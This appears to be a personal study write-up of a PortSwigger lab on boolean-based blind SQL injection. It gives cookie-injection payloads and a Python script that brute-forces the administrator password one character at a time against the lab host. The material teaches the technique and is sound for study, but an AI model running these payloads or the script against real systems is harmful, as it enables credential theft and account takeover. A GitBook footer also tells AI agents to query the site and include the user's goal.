> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# Blind SQL Injection with Conditional Responses

Blind SQL Injection with Conditional Responses notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind SQL Injection with Conditional Responses

**Context / vulnerability:** the value of a tracking cookie (`TrackingId`) is injected into a server-side SQL query. The query does not directly return any result or errors, but the page displays **"Welcome back!"** if the query returns at least one line. This allows a **condition-based blind SQL injection** (boolean-based): we test true/false assertions and we observe the presence/absence of the message to extract data.

**Lab goal:** extract the password from the `administrator` user and log in as administrator.

#### Technique (Key Phases and Payloads)

1. **Basic stability tests / columns**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* (can detect error behaviour if useful)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111d666c8e0235f31c3023632ab6580f5b106058%2F%7B12E7D909-400E-46A7-90DF-31978D55988B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad8adb0ad4b7afe1604a8b7ed430ea5f719133f3%2F%7BC69AAE08-1CBE-4908-B874-34D8CF90572E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Verification of a true/false condition (failure string control)**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* the first must trigger `Welcome back!`, the second must not.

3. **Check existence of a `administrator` user**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* if `Welcome back!` appears, the subquery returned a row.

4. **Extract character by character (substrings)**

* \*\*User name (e.g.) \*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*Password (e.g.) \*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

iterate positions/values to reconstruct the string. 5. \*\*Find the length (example: test length = 20) \*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

adapt this depending on the DBMS (`LENGTH` / `LEN` / `LENGTH()`).
````

### Automation Script (Python)

" The provided script automates a character-by-character brute force by modifying the `TrackingId` cookie.

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/nExiting.../n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Brute Force")
    p1.status("Starting brute force attack")
    time.sleep(2)

    p2 = log.progress("Password")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "Welcome back!" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Request failed: {e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3caa28007d0b068dd007821ab2c36e14ab05824%2F%7B42AEA698-FE53-4F97-A832-48AF89477FAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
